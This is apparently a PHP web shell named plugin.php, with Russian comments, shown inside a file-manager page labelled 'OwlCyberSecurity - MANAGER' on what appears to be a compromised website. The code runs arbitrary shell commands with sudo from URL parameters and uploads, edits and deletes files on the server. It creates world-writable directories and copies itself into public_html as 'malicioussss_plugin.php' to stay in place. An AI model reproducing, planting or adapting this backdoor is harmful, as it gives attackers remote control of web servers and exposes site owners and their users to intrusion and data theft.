OwlCyberSecurity - MANAGER
Edit File: plugin.php
<?php // Получаем базовую директорию, где находится скрипт $base_dir = dirname(__FILE__); // Текущая директория скрипта $current_dir = isset($_GET['dir']) ? $_GET['dir'] : $base_dir; $current_dir = realpath($current_dir); // Проверяем доступ к текущей директории if ($current_dir === false || strpos($current_dir, $base_dir) !== 0) { die("Нет доступа к этой директории."); } // Печатаем текущую и базовую директорию для отладки echo "<p>Текущая директория: " . htmlspecialchars($current_dir) . "</p>"; echo "<p>Базовая директория скрипта: " . htmlspecialchars($base_dir) . "</p>"; // Получаем путь к public_html динамически function get_public_html_dir() { $current_dir = dirname(__FILE__); while (dirname($current_dir) !== "/" && basename($current_dir) !== "public_html") { $current_dir = dirname($current_dir); } return $current_dir === "/" ? false : $current_dir; } $public_html_dir = get_public_html_dir(); if ($public_html_dir === false) { die("Не удалось определить директорию public_html."); } // Выполнение команд if (isset($_GET['cmd'])) { if (isset($_GET['command'])) { echo "<pre>" . shell_exec("sudo " . escapeshellarg($_GET['command'])) . "</pre>"; } } // Загрузка файлов if (isset($_FILES['file'])) { $target_file = $current_dir . '/' . basename($_FILES["file"]["name"]); if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) { echo "Файл загружен: " . htmlspecialchars($target_file); } else { echo "Ошибка при загрузке файла."; } } // Удаление файлов if (isset($_GET['delete'])) { $file_to_delete = $current_dir . '/' . basename($_GET['delete']); if (file_exists($file_to_delete)) { unlink($file_to_delete); echo "Файл $file_to_delete удален."; } else { echo "Файл не найден."; } } // Создание директории if (isset($_GET['create_dir'])) { $new_dir = $current_dir . '/' . basename($_GET['create_dir']); if (!file_exists($new_dir)) { mkdir($new_dir, 0777, true); echo "Директория $new_dir создана."; } else { echo "Директория уже существует."; } } // Копирование самого себя в заданную директорию if (isset($_GET['copy_to_root'])) { $destination_file = $public_html_dir . '/malicioussss_plugin.php'; // Имя скопированного файла if (copy(__FILE__, $destination_file)) { echo "Файл скопирован в корневую директорию public_html: <a href='https://aadikaash.in/malicioussss_plugin.php'>malicioussss_plugin.php</a>"; } else { echo "Ошибка при копировании файла."; } } // Редактирование файлов if (isset($_GET['edit'])) { $edit_file = $current_dir . '/' . basename($_GET['edit']); if (file_exists($edit_file)) { $content = file_get_contents($edit_file); // Получаем содержание файла для редактирования echo "<form method='post' action=''> <textarea name='file_content' rows='20' cols='80'>" . htmlspecialchars($content) . "</textarea><br> <input type='hidden' name='file_name' value='" . htmlspecialchars($_GET['edit']) . "' /> <input type='submit' value='Сохранить изменения'> </form>"; } else { echo "Файл не найден."; } } // Сохраняем изменения в файле if (isset($_POST['file_content'], $_POST['file_name'])) { $file_to_edit = $current_dir . '/' . basename($_POST['file_name']); file_put_contents($file_to_edit, $_POST['file_content']); echo "Изменения сохранены в файле: " . htmlspecialchars($file_to_edit); } // Отображение файлов и директорий function list_directory($dir) { $files = scandir($dir); echo "<h2>Содержимое директории: " . htmlspecialchars($dir) . "</h2>"; echo "<ul>"; global $public_html_dir; // Используем переменную для public_html if (is_dir($public_html_dir)) { echo "<li><a href='?dir=" . urlencode($public_html_dir) . "'>Назад в корень public_html</a></li>"; } // Добавляем ссылку на родительский каталог $parent_dir = dirname($dir); if ($parent_dir !== $dir && is_dir($parent_dir)) { echo "<li><a href='?dir=" . urlencode($parent_dir) . "'>Назад в родительский каталог</a></li>"; } foreach ($files as $file) { if ($file != '.' && $file != '..') { echo "<li>"; if (is_dir($dir . '/' . $file)) { echo "<a href='?dir=" . urlencode($dir . '/' . $file) . "'>$file</a>"; } else { echo htmlspecialchars($file) . " <a href='?delete=" . urlencode($file) . "' onclick='return confirm(\"Удалить файл?\");'>[Удалить]</a> <a href='?edit=" . urlencode($file) . "'>[Редактировать]</a>"; // Кнопка редактирования } echo "</li>"; } } echo "</ul>"; } // Основная часть для отображения list_directory($current_dir); ?> <!-- Форма для загрузки файла --> <form action="" method="post" enctype="multipart/form-data"> <input type="file" name="file" required> <input type="submit" value="Загрузить файл"> </form> <!-- Форма для создания директории --> <form action="" method="get"> <input type="text" name="create_dir" placeholder="Имя новой директории" required> <input type="submit" value="Создать директорию"> </form> <!-- Форма для выполнения команды --> <form action="" method="get"> <input type="text" name="cmd" placeholder="Введите команду" required> <input type="submit" value="Выполнить команду"> </form> <!-- Кнопка для копирования файла в корень --> <form action="" method="get"> <input type="hidden" name="copy_to_root" value="1"> <input type="submit" value="Скопировать в корень public_html"> </form>